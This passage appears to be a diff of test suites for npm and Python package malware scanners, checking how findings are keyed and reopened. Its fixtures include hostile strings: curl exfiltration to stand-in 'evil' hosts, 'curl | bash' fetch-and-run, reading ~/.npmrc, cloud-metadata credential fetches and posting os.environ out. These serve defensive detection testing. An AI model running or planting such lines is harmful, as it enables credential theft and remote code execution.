old = obj % "/latest/meta-data/iam/security-credentials/old"
|
||||
new = obj % "/latest/meta-data/iam/security-credentials/evil"
|
||||
of = [
|
||||
f
|
||||
for f in snp.scan_text_blob(pkg, "package/index.js", old)
|
||||
if f.pattern == "cred-surface-host (outbound)"
|
||||
][0]
|
||||
nf = [
|
||||
f
|
||||
for f in snp.scan_text_blob(pkg, "package/index.js", new)
|
||||
if f.pattern == "cred-surface-host (outbound)"
|
||||
][0]
|
||||
assert snp._finding_key(of) != snp._finding_key(nf)
|
||||
|
||||
|
||||
def _host_config_pkg():
|
||||
return snp.PackageEntry(
|
||||
name = "evil",
|
||||
version = "1.0.0",
|
||||
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
|
||||
integrity = "sha512-test",
|
||||
lockfile_key = "node_modules/evil",
|
||||
)
|
||||
|
||||
|
||||
def _host_finding(text):
|
||||
return [
|
||||
f
|
||||
for f in snp.scan_text_blob(_host_config_pkg(), "package/index.js", text)
|
||||
if f.pattern == "cred-surface-host (outbound)"
|
||||
][0]
|
||||
|
||||
|
||||
def test_outbound_host_config_long_object_binds_tail():
|
||||
# A config object longer than the backward window still binds its tail, so a
|
||||
# changed payload line well below the hostname reopens (not truncated away).
|
||||
filler = "\n".join(f" opt{i}: {i}," for i in range(30))
|
||||
obj = (
|
||||
"const opts = {\n hostname: '169.254.169.254',\n"
|
||||
+ filler
|
||||
+ "\n path: '%s',\n};\nrun(opts);\n"
|
||||
)
|
||||
assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
|
||||
_host_finding(obj % "/evil")
|
||||
)
|
||||
|
||||
|
||||
def test_outbound_host_config_far_opener_binds():
|
||||
# The enclosing object's opener can sit well above the hostname line (a large
|
||||
# options object whose `{` is many properties back). The backward scan must
|
||||
# still reach it so a payload changed on an earlier property of the same object
|
||||
# reopens, not just a change on the hostname line itself.
|
||||
above = "\n".join(f" opt{i}: {i}," for i in range(20))
|
||||
obj = (
|
||||
"const opts = {\n"
|
||||
+ above
|
||||
+ "\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"
|
||||
)
|
||||
changed = obj.replace("opt0: 0,", "opt0: 999,")
|
||||
assert snp._finding_key(_host_finding(obj)) != snp._finding_key(_host_finding(changed))
|
||||
|
||||
|
||||
def test_outbound_host_config_forward_cap_measured_from_match():
|
||||
# With the opener near the backward-search limit, the forward group cap must be
|
||||
# measured from the matched hostname line, not the opener, so the path that
|
||||
# follows the hostname is still bound and a changed payload there reopens.
|
||||
above = "\n".join(f" opt{i}: {i}," for i in range(198))
|
||||
obj = (
|
||||
"const opts = {\n"
|
||||
+ above
|
||||
+ "\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"
|
||||
)
|
||||
assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
|
||||
_host_finding(obj % "/evil")
|
||||
)
|
||||
|
||||
|
||||
def test_outbound_host_multiple_contexts_all_bind():
|
||||
# The same contextual host can appear in more than one outbound form. Adding a
|
||||
# separate host-config request beside an already-present URL for that host must
|
||||
# reopen the key, not ride the unchanged URL evidence.
|
||||
base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n"
|
||||
extra = "https.request({\n hostname: '169.254.169.254',\n path: '/evil',\n});\n"
|
||||
assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra))
|
||||
|
||||
|
||||
def test_outbound_host_config_opener_after_unmatched_closer_binds():
|
||||
# A leading unmatched `}` from a preceding block (its opener outside the
|
||||
# backward window) must not drive depth negative and mask the host-config
|
||||
# opener that follows; the object should still bind so a changed path reopens.
|
||||
pre = "callback(arg);\n});\n" # stray closer; the matching opener is out of view
|
||||
obj = pre + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"
|
||||
assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
|
||||
_host_finding(obj % "/evil")
|
||||
)
|
||||
|
||||
|
||||
def test_outbound_host_config_close_then_open_same_line_binds():
|
||||
# Stronger than the previous case: the unmatched closer and the host-config
|
||||
# opener share ONE line, e.g. `}); const opts = {`. A net per-line bracket count
|
||||
# nets that line to <= 0 and drops the trailing `{`, so the group would start at
|
||||
# the hostname line and a changed path could ride the unchanged-hostname key.
|
||||
# Order-aware reduction keeps the opener, so the path binds and a change reopens.
|
||||
obj = "}); const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"
|
||||
assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
|
||||
_host_finding(obj % "/evil")
|
||||
)
|
||||
|
||||
|
||||
def test_outbound_host_multiline_template_literal_reopens():
|
||||
# A ) inside a multi-line backtick template literal must not close the call
|
||||
# early; the options object after the template binds, so a changed header
|
||||
# reopens rather than riding the unchanged host (a per-line string blanker
|
||||
# cannot mask a template literal that spans lines).
|
||||
old = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'old'},\n});\n"
|
||||
new = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'evil'},\n});\n"
|
||||
assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))
|
||||
|
||||
|
||||
def test_cred_env_lifecycle_binds_whole_body():
|
||||
# cred-env-in-lifecycle evidence pins the whole script body, so a changed
|
||||
# non-token line (echo safe -> curl exfil) reopens even with the token line
|
||||
# unchanged.
|
||||
def life(body):
|
||||
pkg = snp.PackageEntry(
|
||||
name = "e",
|
||||
version = "1.0.0",
|
||||
resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",
|
||||
integrity = "sha512-x",
|
||||
lockfile_key = "node_modules/e",
|
||||
)
|
||||
text = json.dumps({"scripts": {"postinstall": body}})
|
||||
return [
|
||||
f
|
||||
for f in snp.scan_package_json(pkg, "package/package.json", text)
|
||||
if "cred-env-in-lifecycle" in f.pattern
|
||||
][0]
|
||||
|
||||
safe = life("node -e 'console.log(process.env.NPM_TOKEN)'; echo safe")
|
||||
evil = life("node -e 'console.log(process.env.NPM_TOKEN)'; curl -d x https://evil")
|
||||
assert "body-sha256:" in safe.evidence
|
||||
assert snp._finding_key(safe) != snp._finding_key(evil)
|
||||
|
||||
|
||||
def _lifecycle_finding(body, frag):
|
||||
pkg = snp.PackageEntry(
|
||||
name = "e",
|
||||
version = "1.0.0",
|
||||
resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",
|
||||
integrity = "sha512-x",
|
||||
lockfile_key = "node_modules/e",
|
||||
)
|
||||
text = json.dumps({"scripts": {"postinstall": body}})
|
||||
return [
|
||||
f for f in snp.scan_package_json(pkg, "package/package.json", text) if frag in f.pattern
|
||||
][0]
|
||||
|
||||
|
||||
def test_lifecycle_fetch_exec_bounds_body_but_reopens():
|
||||
# The whole install script is bound by a digest, but the stored evidence is a
|
||||
# bounded matched snippet plus that digest, not the full body, so writing the
|
||||
# baseline on a multi-KiB install script stays small while a change to any line
|
||||
# (even far below the fetch-exec line) reopens the finding.
|
||||
pad = "# pad\n" * 5000
|
||||
old = "curl https://x.sh | bash\n" + pad + "echo done_old"
|
||||
new = "curl https://x.sh | bash\n" + pad + "echo done_evil"
|
||||
of = _lifecycle_finding(old, "lifecycle-fetch-exec")
|
||||
nf = _lifecycle_finding(new, "lifecycle-fetch-exec")
|
||||
assert "body-sha256:" in of.evidence
|
||||
assert len(of.evidence) < len(old) # snippet + digest, not the whole body
|
||||
assert snp._finding_key(of) != snp._finding_key(nf)
|
||||
|
||||
|
||||
def test_cred_path_lifecycle_bounds_body_but_reopens():
|
||||
# cred-path-in-lifecycle is bounded the same way: a snippet around the matched
|
||||
# credential path plus the whole-body digest, so a far-line change reopens
|
||||
# without storing the entire script body in the baseline.
|
||||
pad = "# pad\n" * 5000
|
||||
old = "cat ~/.npmrc\n" + pad + "echo old"
|
||||
new = "cat ~/.npmrc\n" + pad + "echo evil"
|
||||
of = _lifecycle_finding(old, "cred-path-in-lifecycle")
|
||||
nf = _lifecycle_finding(new, "cred-path-in-lifecycle")
|
||||
assert "body-sha256:" in of.evidence
|
||||
assert len(of.evidence) < len(old)
|
||||
assert snp._finding_key(of) != snp._finding_key(nf)
|
||||
|
||||
|
||||
def test_outbound_host_regex_literal_does_not_close_group_early():
|
||||
# A ) inside a JS regex literal must not close the outbound call early; the
|
||||
# options object after the regex binds, so a changed header reopens.
|
||||
old = "request('http://169.254.169.254', /)/, {\n headers: {a: 'old'},\n});\n"
|
||||
new = old.replace("old", "evil")
|
||||
assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))
|
||||
|
||||
|
||||
def test_evidence_overflow_binds_context_and_counts_all_matches():
|
||||
# Every match past the display cap is still counted in the overflow digest AND
|
||||
# bound by its logical-line context, so changing the payload on an over-cap line
|
||||
# reopens (the digest is not just the regex match text, and the iterator is not
|
||||
# truncated before reaching it).
|
||||
n = snp._MAX_EVIDENCE_MATCHES
|
||||
mk = lambda which: "".join(
|
||||
f"a{i} = process.env.NPM_TOKEN; tag{i} = {'evil' if i == n + 2 and which else 'safe'}\n"
|
||||
for i in range(n + 5)
|
||||
)
|
||||
e1 = snp._evidence(mk(False), snp._JS_ENV_TOKEN)
|
||||
e2 = snp._evidence(mk(True), snp._JS_ENV_TOKEN)
|
||||
assert "more) sha256:" in e1
|
||||
assert snp._evidence_hash(e1) != snp._evidence_hash(e2)
|
||||
|
||||
|
||||
def test_evidence_caps_match_count_with_digest_remainder():
|
||||
# Past _MAX_EVIDENCE_MATCHES the evidence folds the remaining matches into one
|
||||
# digest so a huge/minified file cannot build an unbounded evidence string,
|
||||
# while a changed match count past the cap still reopens.
|
||||
over = snp._MAX_EVIDENCE_MATCHES + 20
|
||||
base = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over))
|
||||
ev = snp._evidence(base, snp._JS_ENV_TOKEN)
|
||||
assert "more) sha256:" in ev
|
||||
assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # bounded, not `over` spans
|
||||
less = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1))
|
||||
assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN))
|
||||
|
||||
|
||||
def test_evidence_streams_overflow_count_is_exact():
|
||||
# The overflow matches are streamed from finditer (not collected into a list
|
||||
# before the cap), so the "(+N more)" count must still equal the exact number of
|
||||
# matches past the display cap for a large input, and the shown spans stay
|
||||
# bounded to the cap.
|
||||
extra = 1000
|
||||
total = snp._MAX_EVIDENCE_MATCHES + extra
|
||||
body = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(total))
|
||||
ev = snp._evidence(body, snp._JS_ENV_TOKEN)
|
||||
import re as _re
|
||||
|
||||
m = _re.search(r"\(\+(\d+) more\)", ev)
|
||||
assert m and int(m.group(1)) == extra # every over-cap match counted
|
||||
assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # display stays bounded
|
||||
|
||||
|
||||
def _ioc_pkg():
|
||||
return snp.PackageEntry(
|
||||
name = "evil",
|
||||
version = "1.0.0",
|
||||
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
|
||||
integrity = "sha512-x",
|
||||
lockfile_key = "node_modules/evil",
|
||||
)
|
||||
|
||||
|
||||
def test_known_ioc_evidence_binds_context_not_bare_needle():
|
||||
# A known-ioc-string finding keys on the matched-line context, not the bare
|
||||
# constant, so a changed adjacent fetch/exfil body on the same call reopens
|
||||
# while the IOC needle stays in place.
|
||||
ioc = next(iter(snp.KNOWN_IOC_STRINGS))
|
||||
old = f"fetch('http://h/'+'{ioc}', {{body: 'OLD'}})\n"
|
||||
new = f"fetch('http://h/'+'{ioc}', {{body: 'EVIL'}})\n"
|
||||
|
||||
def key(text):
|
||||
return [
|
||||
snp._finding_key(f)
|
||||
for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)
|
||||
if f.pattern == "known-ioc-string"
|
||||
][0]
|
||||
|
||||
assert key(old) != key(new)
|
||||
|
||||
|
||||
def test_always_bad_host_evidence_binds_outbound_context():
|
||||
# cred-surface-host (always-bad) binds the outbound call context, so altering
|
||||
# the exfil body on the same call reopens the key instead of riding the bare
|
||||
# host literal.
|
||||
host = snp.CRED_HOST_ALWAYS_BAD[0][0]
|
||||
old = f"fetch('https://{host}/x', {{body: secretOLD}})\n"
|
||||
new = f"fetch('https://{host}/x', {{body: secretEVIL}})\n"
|
||||
|
||||
def key(text):
|
||||
return [
|
||||
snp._finding_key(f)
|
||||
for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)
|
||||
if f.pattern == "cred-surface-host (always-bad)"
|
||||
][0]
|
||||
|
||||
assert key(old) != key(new)
|
||||
|
||||
|
||||
def test_outbound_host_config_reindent_is_stable():
|
||||
# A formatter-only reindent of the bound continuation lines must NOT change
|
||||
# the key (whitespace is normalized before the logical-line digest).
|
||||
tight = "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"
|
||||
loose = (
|
||||
"const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"
|
||||
)
|
||||
assert snp._finding_key(_host_finding(tight)) == snp._finding_key(_host_finding(loose))
|
||||
|
||||
|
||||
def test_evidence_preserves_intra_string_whitespace():
|
||||
# Whitespace OUTSIDE string literals is normalized (reindent-stable), but
|
||||
# whitespace INSIDE a literal is preserved, so a changed payload body
|
||||
# (body: 'a b' -> 'a b') reopens the key instead of being erased along with
|
||||
# indentation.
|
||||
a = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n"
|
||||
b = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n"
|
||||
assert snp._finding_key(_host_finding(a)) != snp._finding_key(_host_finding(b))
|
||||
|
||||
|
||||
def test_outbound_cred_surface_binds_context():
|
||||
# The outbound cred-surface host finding records the host WITH its URL path /
|
||||
# fetch call, so changing the outbound path or headers reopens the key rather
|
||||
# than riding the bare host literal.
|
||||
pkg = snp.PackageEntry(
|
||||
name = "evil",
|
||||
version = "1.0.0",
|
||||
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
|
||||
integrity = "sha512-test",
|
||||
lockfile_key = "node_modules/evil",
|
||||
)
|
||||
old = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/old')\n"
|
||||
new = (
|
||||
"fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/evil', "
|
||||
"{headers: steal})\n"
|
||||
)
|
||||
of = [
|
||||
f
|
||||
for f in snp.scan_text_blob(pkg, "package/index.js", old)
|
||||
if f.pattern == "cred-surface-host (outbound)"
|
||||
][0]
|
||||
nf = [
|
||||
f
|
||||
for f in snp.scan_text_blob(pkg, "package/index.js", new)
|
||||
if f.pattern == "cred-surface-host (outbound)"
|
||||
][0]
|
||||
assert snp._finding_key(of) != snp._finding_key(nf)
|
||||
|
||||
|
||||
def test_load_baseline_skips_non_dict_entries(tmp_path):
|
||||
# A malformed current-schema baseline (non-dict entries, or a non-object root)
|
||||
# must not crash the loader; bad entries are skipped, valid ones still load.
|
||||
bl = tmp_path / "bad.json"
|
||||
bl.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"version": snp._BASELINE_SCHEMA_VERSION,
|
||||
"entries": ["oops", 123, {"package": "p", "file": "package/a.js", "pattern": "x"}],
|
||||
}
|
||||
),
|
||||
encoding = "utf-8",
|
||||
)
|
||||
keys = snp._load_baseline(str(bl))
|
||||
assert keys == {("p", "a.js", "x", snp._evidence_hash(""))}
|
||||
# A non-object root is rejected with a warning, not a crash.
|
||||
arr = tmp_path / "arr.json"
|
||||
arr.write_text("[1, 2, 3]", encoding = "utf-8")
|
||||
assert snp._load_baseline(str(arr)) == set()
|
||||
|
||||
|
||||
def test_legacy_schema_baseline_is_ignored(tmp_path):
|
||||
# A pre-v2 baseline stored basenames; its keys are ambiguous under
|
||||
# package-relative matching, so a populated legacy file is ignored (fail
|
||||
|
|
@ -418,6 +894,67 @@ def test_legacy_schema_baseline_is_ignored(tmp_path):
|
|||
assert snp._load_baseline(str(bl)) == set()
|
||||
|
||||
|
||||
def test_v2_baseline_migrates_by_recomputing_hash(tmp_path):
|
||||
# v2 shares v3's package-relative keying, so its entries migrate (the hash is
|
||||
# recomputed from stored evidence) rather than being thrown away, matching the
|
||||
# Python loader. An unchanged finding stays suppressed.
|
||||
bl = tmp_path / "v2.json"
|
||||
evidence = "fetch('http://ok')"
|
||||
bl.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"version": 2,
|
||||
"entries": [
|
||||
{
|
||||
"package": "left-pad",
|
||||
"file": "package/dist/index.js",
|
||||
"pattern": "obfuscated-blob",
|
||||
"severity": snp.HIGH,
|
||||
"evidence": evidence,
|
||||
}
|
||||
],
|
||||
}
|
||||
),
|
||||
encoding = "utf-8",
|
||||
)
|
||||
finding = _finding(
|
||||
"left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = evidence
|
||||
)
|
||||
assert snp._finding_key(finding) in snp._load_baseline(str(bl))
|
||||
|
||||
|
||||
def test_outbound_cred_surface_host_config_binds_full_context():
|
||||
# The host-config branch captures the whole line (path + headers), so changing
|
||||
# the outbound headers/body on the same hostname line reopens the key.
|
||||
pkg = snp.PackageEntry(
|
||||
name = "evil",
|
||||
version = "1.0.0",
|
||||
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
|
||||
integrity = "sha512-test",
|
||||
lockfile_key = "node_modules/evil",
|
||||
)
|
||||
path = "/latest/meta-data/iam/security-credentials/role-name"
|
||||
old = (
|
||||
"const opts = {hostname: '169.254.169.254', "
|
||||
f"path: '{path}', headers: {{a: 'old'}}}};\nrun(opts);\n"
|
||||
)
|
||||
new = (
|
||||
"const opts = {hostname: '169.254.169.254', "
|
||||
f"path: '{path}', headers: {{a: 'evil', token: process.env.NPM_TOKEN}}}};\nrun(opts);\n"
|
||||
)
|
||||
of = [
|
||||
f
|
||||
for f in snp.scan_text_blob(pkg, "package/index.js", old)
|
||||
if f.pattern == "cred-surface-host (outbound)"
|
||||
][0]
|
||||
nf = [
|
||||
f
|
||||
for f in snp.scan_text_blob(pkg, "package/index.js", new)
|
||||
if f.pattern == "cred-surface-host (outbound)"
|
||||
][0]
|
||||
assert snp._finding_key(of) != snp._finding_key(nf)
|
||||
|
||||
|
||||
def test_committed_baseline_is_empty_and_valid():
|
||||
# Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean.
|
||||
path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"
|
||||
|
|
|
|||
|
|
@ -322,20 +322,781 @@ def test_proc_self_status_pattern_is_live():
|
|||
assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass")
|
||||
|
||||
|
||||
def _mk(sev, pkg, fname, check):
|
||||
return sp.Finding(sev, pkg, fname, check, "evidence")
|
||||
def _mk(
|
||||
sev,
|
||||
pkg,
|
||||
fname,
|
||||
check,
|
||||
evidence = "evidence",
|
||||
):
|
||||
return sp.Finding(sev, pkg, fname, check, evidence)
|
||||
|
||||
|
||||
def test_baseline_key_version_stable_but_path_specific():
|
||||
a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X")
|
||||
b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X")
|
||||
# Same package-relative path across versions -> same key (stable).
|
||||
# Same package-relative path + same matched code across versions -> same key.
|
||||
assert sp._finding_key(a) == sp._finding_key(b)
|
||||
# Same basename in a different path -> different key (no over-suppression).
|
||||
c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X")
|
||||
assert sp._finding_key(a) != sp._finding_key(c)
|
||||
|
||||
|
||||
def test_baseline_key_line_shift_stable_but_code_specific():
|
||||
# The evidence hash strips ``L<NN>:`` markers, so a benign upstream edit that
|
||||
# only shifts line numbers keeps the key stable...
|
||||
base = _mk(
|
||||
sp.CRITICAL,
|
||||
"botocore",
|
||||
"botocore/utils.py",
|
||||
"Harvests environment variables/secrets AND makes network calls",
|
||||
"Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies",
|
||||
)
|
||||
shifted = _mk(
|
||||
sp.CRITICAL,
|
||||
"botocore",
|
||||
"botocore/utils.py",
|
||||
"Harvests environment variables/secrets AND makes network calls",
|
||||
"Env: L612: env = os.environ.copy()\nNetwork: L48: from urllib.request import getproxies",
|
||||
)
|
||||
assert sp._finding_key(base) == sp._finding_key(shifted)
|
||||
# ...but a NEW payload in the same file/check (different matched code) does
|
||||
# not inherit the suppression -- this is the supply-chain bypass we close.
|
||||
malicious = _mk(
|
||||
sp.CRITICAL,
|
||||
"botocore",
|
||||
"botocore/utils.py",
|
||||
"Harvests environment variables/secrets AND makes network calls",
|
||||
"Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",
|
||||
)
|
||||
assert sp._finding_key(base) != sp._finding_key(malicious)
|
||||
|
||||
|
||||
def test_extract_evidence_records_all_matches():
|
||||
# The whole point of P1: a match appended after the first few must show up
|
||||
# in the evidence, so it changes the key instead of riding the earlier ones.
|
||||
src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6))
|
||||
ev = sp._extract_evidence(src, sp.RE_NETWORK)
|
||||
assert ev.count("requests.get(") == 6
|
||||
|
||||
|
||||
def test_baseline_key_reopens_on_appended_match():
|
||||
# A reviewed file already trips a check with several matches; a later exfil
|
||||
# call appended to the same file/check must reopen the finding.
|
||||
base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3))
|
||||
payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)"
|
||||
base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK))
|
||||
payload = _mk(
|
||||
sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(payload_src, sp.RE_NETWORK)
|
||||
)
|
||||
assert sp._finding_key(base) != sp._finding_key(payload)
|
||||
|
||||
|
||||
def test_baseline_key_inner_line_marker_is_not_stripped():
|
||||
# Only the leading L<NN>: marker is dropped; an L<NN>: inside the matched
|
||||
# code is part of the code, so changing it must reopen the finding...
|
||||
a = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L42:/p'")
|
||||
b = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L7:/p'")
|
||||
assert sp._finding_key(a) != sp._finding_key(b)
|
||||
# ...while only the leading marker (line number) changing stays stable.
|
||||
c = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L55: url = 'http://h/L42:/p'")
|
||||
assert sp._finding_key(a) == sp._finding_key(c)
|
||||
|
||||
|
||||
def test_baseline_key_indentation_is_significant():
|
||||
# Moving a flagged line out of a guarded block (dedent) changes executable
|
||||
# context, so the same code at a different indent must reopen the finding.
|
||||
guarded = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")
|
||||
top_level = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")
|
||||
assert sp._finding_key(guarded) != sp._finding_key(top_level)
|
||||
|
||||
|
||||
def test_canon_evidence_keeps_bitwise_or_in_a_span():
|
||||
# ' | ' only delimits spans when it precedes an L<NN>: marker; a pipe inside
|
||||
# matched code (bitwise OR, typing.Union) is code, so changing an operand
|
||||
# must reopen the finding instead of deduping to the same key.
|
||||
a = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_CLOEXEC")
|
||||
b = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_EVIL")
|
||||
assert sp._finding_key(a) != sp._finding_key(b)
|
||||
# The OR survives canonicalization as one span (not split on the pipe).
|
||||
assert sp._canon_evidence("L5: a = X | Y") == "a = X | Y"
|
||||
|
||||
|
||||
def test_extract_evidence_caps_long_line_but_binds_tail():
|
||||
# A long (e.g. minified) line is not dumped verbatim: the display is bounded to
|
||||
# a prefix, but a sha256 of the full line is appended so a payload past the cut
|
||||
# still changes the key instead of being silently clipped.
|
||||
marker = "EXFIL_PAST_CAP"
|
||||
pad = "# " + " " * 300
|
||||
line = "requests.get('http://a') " + pad + marker
|
||||
ev = sp._extract_evidence(line + "\n", sp.RE_NETWORK)
|
||||
assert marker not in ev # tail past the cap is not shown verbatim
|
||||
assert "sha256:" in ev # but it is pinned by a digest
|
||||
assert len(ev) < len(line) # bounded, not the whole minified line
|
||||
base = sp._extract_evidence("requests.get('http://a') " + pad + "x\n", sp.RE_NETWORK)
|
||||
assert sp._evidence_hash(ev) != sp._evidence_hash(base)
|
||||
|
||||
|
||||
def test_extract_evidence_binds_call_continuation_past_12_lines():
|
||||
# A matched call that stays open well beyond the old 12-line continuation cap
|
||||
# still binds its later arguments: a changed body on a deep continuation line
|
||||
# (here ~22 lines in) must reopen instead of riding the first 12 lines.
|
||||
head = "requests.post('http://h',\n"
|
||||
middle = "".join(f" opt{i} = ({i}),\n" for i in range(20))
|
||||
old = head + middle + " data = {'x': 'old'},\n)\n"
|
||||
new = head + middle + " data = {'x': 'evil'},\n)\n"
|
||||
eo = sp._extract_evidence(old, sp.RE_NETWORK)
|
||||
en = sp._extract_evidence(new, sp.RE_NETWORK)
|
||||
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
||||
|
||||
|
||||
def test_logical_line_end_follows_backslash_continuation():
|
||||
# A call split with an explicit backslash before the parenthesis must still
|
||||
# bind the continuation line, so changing the URL on the next physical line
|
||||
# reopens instead of returning at the zero-depth API line.
|
||||
old = "requests.post \\\n ('http://old/x', data = 1)\n"
|
||||
new = "requests.post \\\n ('http://evil/x', data = 1)\n"
|
||||
eo = sp._extract_evidence(old, sp.RE_NETWORK)
|
||||
en = sp._extract_evidence(new, sp.RE_NETWORK)
|
||||
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
||||
|
||||
|
||||
def test_logical_line_end_blanks_multiline_triple_string():
|
||||
# A ) inside a triple-quoted string argument must not close the call early; the
|
||||
# data= after the closing triple-quote must still bind so a changed payload
|
||||
# reopens (a per-line string blanker cannot mask a multi-line string).
|
||||
old = 'requests.post("""http://h\n/path)""", data={"x": "old"})\n'
|
||||
new = 'requests.post("""http://h\n/path)""", data={"x": "evil"})\n'
|
||||
eo = sp._extract_evidence(old, sp.RE_NETWORK)
|
||||
en = sp._extract_evidence(new, sp.RE_NETWORK)
|
||||
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
||||
|
||||
|
||||
def test_extract_evidence_binds_call_embedded_in_string():
|
||||
# A call whose text lives INSIDE a triple-quoted string (a dropper embedding a
|
||||
# setup.py payload) must still bind its argument lines. Blanking the multi-line
|
||||
# string must not shrink the span below the legacy single-line view: the union
|
||||
# of both views keeps the URL argument bound so a changed payload reopens.
|
||||
src = (
|
||||
'PAYLOAD = """\n'
|
||||
"urllib.request.urlretrieve(\n"
|
||||
' "http://evil/old.pyz",\n'
|
||||
' "/tmp/x.pyz",\n'
|
||||
")\n"
|
||||
'"""\n'
|
||||
)
|
||||
eo = sp._extract_evidence(src, sp.RE_NETWORK)
|
||||
en = sp._extract_evidence(src.replace("old.pyz", "evil2.pyz"), sp.RE_NETWORK)
|
||||
assert "L3" in eo # the URL argument line is bound, not just the API line
|
||||
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
||||
|
||||
|
||||
def test_extract_evidence_overflow_digest_is_line_shift_stable():
|
||||
# The overflow digest canonicalizes (strips L<NN>: markers), so inserting an
|
||||
# unrelated line above the overflow region does not change it (line-shift
|
||||
# stability), while a real payload change inside the overflow still reopens.
|
||||
n = sp._MAX_EVIDENCE_SPANS
|
||||
src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 5))
|
||||
sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)
|
||||
e_a = sp._extract_evidence(src, sp.RE_NETWORK)
|
||||
assert "more) sha256:" in e_a
|
||||
e_shift = sp._extract_evidence("# unrelated\n" + src, sp.RE_NETWORK)
|
||||
assert sha(e_a) == sha(e_shift) # a pure line shift does not change the digest
|
||||
e_chg = sp._extract_evidence(src.replace(f"a/p{n + 3}'", "a/pEVIL'"), sp.RE_NETWORK)
|
||||
assert sha(e_a) != sha(e_chg) # a real change in the overflow region reopens
|
||||
|
||||
|
||||
def test_extract_evidence_overflow_is_streamed_and_bounded():
|
||||
# Past the display cap the evidence streams overflow spans into one digest
|
||||
# instead of materializing a rendered span per match, so a file with far more
|
||||
# matches than the cap yields a bounded string (at most cap spans plus the
|
||||
# "(+N more)" digest line) while N counts every overflow match and a change to
|
||||
# an over-cap match still reopens.
|
||||
n = sp._MAX_EVIDENCE_SPANS
|
||||
src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 500))
|
||||
ev = sp._extract_evidence(src, sp.RE_NETWORK)
|
||||
assert ev.count(" sha256:") == 1 # only the overflow digest, no per-span digests
|
||||
assert "(+500 more)" in ev # every match past the cap is counted
|
||||
# bounded: exactly cap rendered spans plus the single "(+N more)" marker
|
||||
assert len(ev.split(" | ")) == n + 1
|
||||
sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)
|
||||
chg = sp._extract_evidence(src.replace(f"a/p{n + 200}'", "a/pEVIL'"), sp.RE_NETWORK)
|
||||
assert sha(ev) != sha(chg) # an over-cap payload change reopens
|
||||
|
||||
|
||||
def test_extract_evidence_same_line_close_then_open_binds_call():
|
||||
# A continued statement that closes on the same physical line that opens a
|
||||
# flagged call, e.g. `]; requests.post(`, nets to <= 0 under a plain bracket
|
||||
# count, dropping the call's `(` so the scan would stop at the opener line.
|
||||
